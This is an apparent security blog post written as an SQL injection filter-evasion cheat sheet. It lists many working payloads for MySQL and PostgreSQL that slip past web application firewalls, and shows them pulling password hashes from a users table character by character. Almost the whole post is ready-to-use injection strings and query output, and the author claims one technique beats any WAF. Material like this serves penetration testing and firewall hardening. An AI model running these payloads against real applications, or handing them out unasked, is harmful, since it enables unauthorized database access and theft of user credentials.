SQL injection filter evasion cheat sheet
A guide for bypassing WAFs/IDS.
Index
- Avoid spaces
- Bypass UNION
- Bypass logical operators
- Bypass comment
- Single-line comment bypass
- Comments between function names and parenthesis
- Conditional statements
- Character selection for blind injections
- Bypass = (Equal sign)
- Bypass WHERE
- Bypass LIMIT, WHERE, HAVING
- Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
- Bypass SELECT and FROM
- Bypassing table/column/database identifiers
- Bypass quoted strings
- Probing for SQL injection
Don't forget to URL encode symbols & # %
You can find injections to scan applications against SQL injection vulnerabilities in the last section of the post.
Avoid spaces
?sqli=1' and '0' union select username,password,email from users limit 1 -- -
403 FORBIDDEN
?sqli=1'and'0'union(select(username),password,(email)from`users`limit/**/1)--%07
200 OK
DBMS usually are very flexible and permissive when it comes to the use of parenthesis, quotes and comments. Accent graves can also be used for table names and other types of identifiers.
Other string separators:
%09 %0a %0c %0d %20
Bypass UNION
?sqli=1' and '0' UNION select password from users limit 1 -- -
403 FORBIDDEN
It is easy to avoid the use of UNION by doing a blind injection:
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
Bypass logical operators
MySQL
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
?sqli=1' && ( select substring(password, 1, 1) from users limit 1)='A
200 OK
AND -> &&
OR -> ||
Use arithmetic operations:
?sqli=1' * ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
Boolean TRUE is casted to 1 and FALSE to 0.
PostgreSQL
Types must be explicitly cast in PostgreSQL
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A')::int -- -
Bypass comment
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
403 FORBIDDEN
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') %00
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') #
200 OK - Only MySQL
It is also possible to use control characters instead of spaces after a double-dash comment, this sometimes bypasses filters:
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') --%07
200 OK
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or '0
200 OK
Arithmetic operations can be used instead to use the trailing quote
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or 0 div '1
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') + '0
200 OK
In PostgreSQL casts have to be explicit.
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int %00
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int + '0
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int or '1'='1
200 OK - PostgreSQL
Single-line comment bypass
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
It is possible to put junk in-between keywords to break the pattern matching by using single-line comments -- and then terminating them with new lines %0a %0d.
?sqli=1' and ( -- bla bla %0a select substring(password, 1,1) -- bla bla %0a from users limit 1) = 'A
200 OK
?sqli=1' and ( -- bla bla %0d select substring(password, 1,1) -- bla bla %0d from users limit 1) = 'A
200 OK - PostgreSQL and MSSQL
?sqli=1' and ( # bla bla %0a select substring(password, 1,1) # bla bla %0a from users limit 1) = 'A
200 OK - MySQL
Comments between function names and arguments
?sqli=1' and substring -- bla bla %0a ("hello", 1, 1) or '0
200 OK PostgreSQL, SQLite and MSSQL
?sqli=1' and substring -- bla bla %0d ("hello", 1, 1) or '0
200 OK - PostgreSQL, SQLite and MSSQL
Conditional statements (MySQL)
Conditional statements can be used to avoid the use of spaces and to avoid keyword detection by using a version number (00000). The version number can also be omitted.
?sqli=1'/*!00000and*/(/*!00000select*//*!00000substring(password,1,1)*//*!00000from*//*!00000users*//*!00000limit 1,1*/)='A
Character selection for blind injections
For blind injections, characters must be extracted one by one. This is why many WAFs flag functions that may be used for this purpose.
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
Bypass substring
Use pattern matching
All DBMS
?sqli=1' and (select password from users limit 1) LIKE 'A%
MySQL
?sqli=1' and (select password from users limit 1) RLIKE '^A
?sqli=1' and (select password from users limit 1) REGEX '^A
PostgreSQL
?sqli=1' and (select password from users limit 1) ILIKE 'A%
?sqli=1' and (select password from users limit 1) ~ '^A
?sqli=1' and (select password from users limit 1) ~* '^A
?sqli=1' and (select password from users limit 1) !~ '^A
?sqli=1' and (select password from users limit 1) !~* '^A
?sqli=1' and (select password from users limit 1) ~~ 'A%
?sqli=1' and (select password from users limit 1) ~~* 'A%
?sqli=1' and (select password from users limit 1) !~~ 'A%
?sqli=1' and (select password from users limit 1) !~~* 'A%
Alternative functions
?sqli=1' and (select regexp_like(password, '^A') from users limit 1)
?sqli=1' and (select regexp_instr(password, 'A') from users limit 1)='1
?sqli=1' and (select regexp_replace(password, '^A', 'x')!=password from users limit 1)-- -
?sqli=1' and (select regexp_substr(password, '^A') is not NULL from users limit 1)-- -
?sqli=1' and (select position('A' in password) from users limit 1)='1
?sqli=1' and (select substr(password, 1, 1) from users limit 1)='A
?sqli=1' and (select mid(password, 1, 1) from users limit 1)='A
?sqli=1' and (select left(password, 1) from users limit 1)='A
?sqli=1' and (select right(password, 1) from users limit 1)='Z
?sqli=1' and (select locate('A', password) from users limit 1)='1
?sqli=1' and (select lpad(password, 1, '') from users limit 1)='A
?sqli=1' and (select rpad(password, 1, '') from users limit 1)='A
String functions reference in the manuals:
https://dev.mysql.com/doc/refman/8.4/en/string-functions.html
https://www.postgresql.org/docs/6.5/functions2221.htm
Bypass = (Equal sign)
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
?sqli=1' and CASE (select substring(password,1,1) from users limit 1) WHEN 'A' THEN true ELSE false END -- -
?sqli=1' and (select substring(password, 1, 1) from users limit 1) LIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) RLIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) ILIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) REGEXP 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) IS NOT DISTINCT FROM 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) BETWEEN '9' AND 'B
?sqli=1' and NULLIF((select substring(password, 1, 1) from users limit 1), 'A') is NULL -- -
?sqli=1' and not (select substring(password, 1, 1) from users limit 1) ^ 0b01000001 -- -
?sqli=1' and ((select substring(password, 1, 1) from users limit 1) & 0b01000001)::boolean is not null -- - PostgreSQL
?sqli=1' and (select substring(password, 1, 1) from users limit 1) & 0b01000001 -- -
200 OK
Bypass WHERE
?sqli=1' and (select substring(password, 1, 1) from users WHERE id='1') ='A
403 FORBIDDEN
?sqli=1' and (select substring(password, 1, 1) from users LIMIT 1) ='A
200 OK
HAVING can be used without GROUP BY but only in MySQL
?sqli=1' and (select substring(password, 1, 1) from users HAVING id='1') ='A
200 OK
Just add a GROUP BY clause to make it work in other DBMS
?sqli=1' and (select substring(password, 1, 1) from users GROUP BY id HAVING id='1')='A
200 OK
Bypass LIMIT, WHERE, HAVING
?sqli=1' and (select substring(GROUP_CONCAT(password), 1, 1) from users) ='A
200 OK
Bypass GROUP_CONCAT
?sqli=1' and (select substring(JSON_ARRAYAGG(password), 1, 1) from users) ='A
200 OK
?sqli=1' and (select substring(JSON_OBJECTAGG(user,password), 1, 1) from users) ='A
200 OK 1, 1) from users)='A
Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
MySQL
?sqli=' and ((select substring(password, 1, 1) from users limit 1) EXCEPT values row('A')) -- -
PostgreSQL
?sqli=' and ( (select substring(password,1,1) from users limit 1) EXCEPT values('A'))::boolean is null -- -
Bypass SELECT and FROM
This is my little golden nugget, by avoiding the use of SELECT and FROM I was able to bypass even the WAFs that at some point seemed to be impossible to break.
I believe that these injections and their variations can be used to bypass any WAF as to this date.
MySQL
Variation using IF()
?sqli=1' and (VALUES row(-10, -10, -10, -10) UNION (TABLE users LIMIT 1,1) ORDER BY ( IF((column_2 REGEXP '^A'), NULL, column_0 )) LIMIT 1) != (-10, -10, -10, -10) -- -
Variation using CASE WHEN
?sqli=1' and (VALUES row(-10, -10, -10, -10) UNION (TABLE users LIMIT 1,1) ORDER BY CASE WHEN not column_2 REGEXP '^A' THEN column_0 END LIMIT 1) != (-10, -10, -10, -10)-- -
Explanation:
The TABLE instruction displays an entire table:
mysql> TABLE users;
+----+----------------+----------------------------------+------------------------+
| id | user | password | email |
+----+----------------+----------------------------------+------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| 2 | napster | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com |
| 3 | axl-torvalds | d52d3013075fe1078c47236cdc338422 | axl@lab.com |
| 4 | zero-cool | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com |
| 5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com |
| 6 | phreak | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com |
| 7 | cereal-killer | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com |
| 8 | lord-nikon | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com |
| 9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
| 10 | neo | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com |
+----+----------------+----------------------------------+------------------------+
10 rows in set (0.00 sec)
However, the WHERE clause cannot be used with this instruction, so it is not possible to filter results by testing conditions. This might be the reason for why WAFs haven't blacklisted this instruction, since WHERE cannot be used to test conditions then blind and boolean based injections cannot be performed.
mysql> TABLE users WHERE id = 1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 1' at line 1
TABLE also outputs all the columns and it is not possible to filter them so UNION
based injections won't always work because the number of columns must match in
both sides of the UNION instruction.
However, LIMIT and ORDER BY are compatible with the TABLE instruction.
Conditions cannot be used with LIMIT:
mysql> TABLE users LIMIT (IF(column_2 LIKE 'A%', 1, 0));
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(IF(column_2 LIKE 'A%', 1, 0))' at line 1
But it is possible to use conditions within ORDER BY. Doing conditional ORDER BYs produces unexpected and weird results but there is a way to make this work.
First, by using the VALUES instruction it is possible to return a row whose
values are explicitly defined and known by the attacker:
mysql> VALUES ROW(-10, -10, -10, -10);
+----------+----------+----------+----------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------+----------+
| -10 | -10 | -10 | -10 |
+----------+----------+----------+----------+
1 row in set (0.00 sec)
Then UNION is used to add just 1 row of the table desired to be exfiltrated:
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1);
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| -10 | -10 | -10 | -10 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
By placing a condition in ORDER BY, if the first character of the password field
is matched then the table will be sorted, if it doesn't match then the order stays
the same.
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1)
-> ORDER BY ( IF(column_2 REGEXP '^A', NULL, column_0));
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| -10 | -10 | -10 | -10 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1)
-> ORDER BY ( IF(column_2 REGEXP '^2', NULL, column_0));
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| -10 | -10 | -10 | -10 |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
Add LIMIT 1 to return only the top row. If it is equal to (-10, -10, -10, -10)
then you can know if the condition was matched.
/vulnerable_page?sqli=1' and (VALUES ROW(-10, -10, -10, -10) UNION (TABLE users LIMIT 1) ORDER BY IF( column_2 REGEXP '^A', NULL, column_0) LIMIT 1) != (-10, -10, -10, -10) or '0
200 OK - BYPASSED
PostgreSQL
In PostgreSQL, it is not possible to have conditionals within ORDER BY if the query uses an UNION clause.
I did struggle with this constraint but the solution turned out to be very simple: if you know the number of columns in a table, it is possible to compare an entire row of that table against a set of values. These are called row comparisons. The comparison is made like this:
?sqli=1' and ((1,'a','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'b','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'aa','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ab','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ac','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ad','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ae','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'ada','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adb','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adc','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'adm','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adn','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'adma','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admb','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admc','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admi','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admj','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admia','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admib','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admic','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','1','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','2','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','3','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','21','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','22','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','211','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','212','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','213','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','2121','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','21232f297a57a5a743894a0e4a801fc3','~') < (table users limit 1))-- -
To exfiltrate the data of user with id = 1 , we use 1 as the first value since id is the first column, then characters have to be extracted sequentially one by one by doing string comparisons. The columns also have to be extracted one by one in sequential order because of the way row comparison operators work.
The ~ (tilde) is used because it has the highest ASCII value (0x7e), it has to be done like so because the fields in both sets are not compared correspondingly (as illustrated in the MySQL manual https://dev.mysql.com/doc/refman/8.4/en/comparison-operators.html#operator_less-than).
Bypassing table/column/database identifiers
Bypass black listed column names:
Same bypass for SELECT FROM
MySQL
?sqli=1' and (VALUES row(-10, 310, 310, 310) UNION (TABLE users LIMIT 1,1) ORDER BY ( IF((column_2 REGEXP '^A'), NULL, column_0 )) LIMIT 1) != (-10, 310, 310, 310) -- -
PostgreSQL
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- -
Bypass other identifiers
PostgreSQL
In PostgreSQL, identifiers can be contained between double quotes:
?sqli=1' and (select TRUE from "users" where "login"='admin' and mid("password",1,1)='A')-- -
By adding the U& prefix, characters can be escaped via unicode (4 characters or 6 characters by adding a + sign between the escape character and the code point):
?sqli=1' and (select TRUE from U&"us\0065rs" where login='admin' and mid("p\+000061ssword", 1, 1)='A')-- -
https://www.postgresql.org/docs/16/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
The escape character can be selected:
?sqli=1' and (select TRUE from U&"us!0065rs" UESCAPE '!' where login='admin' and mid("p!0061ssword" UESCAPE '!', 1, 1)='A')-- -
Bypass quoted strings
?sqli=1' and (select substring(password, 1, 1) from users where username='admin')='A' -- -
403 FORBIDDEN
?sqli=' and (select substring(password, 1, 1) from users where username=0x61646d696e)=0x41 -- - MySQL
?sqli=' and (select substring(password, 1, 1) from users where username=0b0110000101100100011011010110100101101110)=0b01000001 -- - MySQL
?sqli=1' and (select substring(password,1,1) from users where username=CHAR(97,100,109,105,110) ) = CHAR(65) -- -
In PostgreSQL, however, automatic casting doesn't happen. Luckily, double dollar signs can be used as string delimiters.
?sqli=' and (select substring(password, 1, 1) from users where username=$$admin$$)=$$A$$ -- -
?sqli=' and (select substring(password, 1, 1) from users where username=$bla$admin$bla$)=$bla$A$bla$ -- -
Probing for SQL injection
Even though this section of the post is the least fun, it is very useful because it alllows you to scan web apps against SQL injection vulnerabilities.
?sqli=1' and '1'='1
403 FORBIDDEN
Avoid comparisons
All DBMS
(These first 2 ones are very useful)
?sqli=1' and '1
?sqli=1' and '0
?sqli=1' and TRUE -- -
?sqli=1' and FALSE -- -
MySQL and SQLite
Strings are cast to FALSE
?sqli=1' and 'string FALSE
?sqli=1' and not 'string TRUE
MySQL and SQLite
Any string that starts with a number is cast to TRUE, except for 0.
?sqli=1' and '0string FALSE response
?sqli=1' and '1string TRUE response
?sqli=1' and '2string TRUE response
?sqli=1' and '3string TRUE response
?sqli=1' and '4string TRUE response
?sqli=1' and '5string TRUE response
?sqli=1' and '6string TRUE response
?sqli=1' and '7string TRUE response
?sqli=1' and '8string TRUE response
?sqli=1' and '9string TRUE response
MySQL and SQLite
A quote can be escaped by another quote
?sqli=1'' Normal response
?sqli=1''' Error response
Source: https://websec.ca/kb/sql_injection
MySQL
?sqli=1' and (values row(1))--
?sqli=1' and (values row(0))--
Specially useful for ModSecurity
MySQL
Avoid keywords:
AND
?sqli=1' %26%26 '0
?sqli=1' %26%26 '1
OR
?sqli=0' || '1
?sqli=0' || '0
?sqli=1' xor '0
?sqli=1' xor '1
Avoid common operators:
(< > <= >= = !=)
MySQL
?sqli=1' and '1' like '1
?sqli=1' and '1' rlike '1
?sqli=1' and '1' regexp '1
Avoid spaces:
?sqli=1'and'1'rlike'1
Only PostgreSQL
Avoid comparisons
?sqli=1' and 1::boolean -- -
?sqli=1' and 0::boolean -- -
?sqli=1' and (values(1))::boolean -- -
?sqli=1' and (values (0))::boolean -- -
?sqli=1' and boolean 't
?sqli=1' and boolean 'f
Only PostgreSQL
The following strings are cast to TRUE or FALSE
?sqli=1' and 'true
?sqli=1' and 'false
?sqli=1' and 't
?sqli=1' and 'tr
?sqli=1' and 'tru
?sqli=1' and 'f
?sqli=1' and 'fa
?sqli=1' and 'fal
?sqli=1' and 'fals
?sqli=1' and 'yes
?sqli=1' and 'no
?sqli=1' and 'n
?sqli=1' and 'y
?sqli=1' and 'ye
?sqli=1' and 'on
?sqli=1' and 'off
?sqli=1' and 'of
?sqli=1' and '1
?sqli=1' and '0
Only PostgreSQL
Leading and trailing spaces are ignored:
?sqli=1' and ' t
?sqli=1' and ' f
Only PostgreSQL
Avoid spaces:
?sqli=1'and't
?sqli=1'and'f
etc...
Only PostgreSQL
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' ilike '1
?sqli=1' and '1' ~~ '1
?sqli=1' and '1' !~~ '1
?sqli=1' and '1' ~~* '1
?sqli=1' and '1' !~~* '1
?sqli=1' and '1' ~ '1
?sqli=1' and '1' ~* '1
?sqli=1' similar to '1
( ~~ is equal to LIKE and ~~* is equal to ILIKE, ~ matches a regular expression and ~* is a case insensitive match)
?sqli=0' + (values (1)) -- - TRUE response
?sqli=0' + (values (0)) -- - FALSE response
All DBMS
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' between '0' and '2
?sqli=1' and 1 IS NOT NULL-- - FALSE response
?sqli=1' and null IS NOT NULL-- - TRUE response
?sqli=1' and 1 in (1) -- -
?sqli=1' and 0 is distinct from '1 Doesn't work in MySQL
?sqli=1' and '0' is not unknown -- -
Use arithmetic operations to avoid comparisons:
?sqli=1'-'0 TRUE
?sqli=1'-'1 FALSE
?sqli=0'+'1 TRUE
?sqli=0'-'0 FALSE
?sqli=1'*'1 TRUE
?sqli=1'*'0 FALSE
?sqli=1'/'1 TRUE
?sqli=1'/'0 FALSE
?sqli=10'%25'3 TRUE
?sqli=1'%25'1 FALSE
Use bitwise operators to avoid comparisons:
?sqli=1'&'1 TRUE response
?sqli=1'&'0 FALSE response
?sqli=0'|'0 FALSE response
?sqli=0'|'1 TRUE response
?sqli=1'^'0 TRUE response
?sqli=1'^'1 FALSE response
That's all for now.
X: @ruben_v_pina
Mastodon/infosec.exchange: @ruben_v_pina
Linkedin: https://www.linkedin.com/in/ruben-v-pina/
More resources:
Reiners blog:
https://websec.wordpress.com/category/sqli
Awesome WAF by Pinaki (0xInfection)
https://github.com/0xInfection/Awesome-WAF?tab=readme-ov-file
When WAFs go awry - MDSec
https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/
The SQL injection knowledge base
https://websec.ca/kb/sql_injection
Web Application Obfuscation by Dr. Mario Heiderich, Gareth Heyes, David Lindsay and Eduardo Vela
https://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049
Filed under: Hacking,SQL,Web Application Security - @ 2024-10-25 11:41
Tags: application, bypass, firewall, waf, web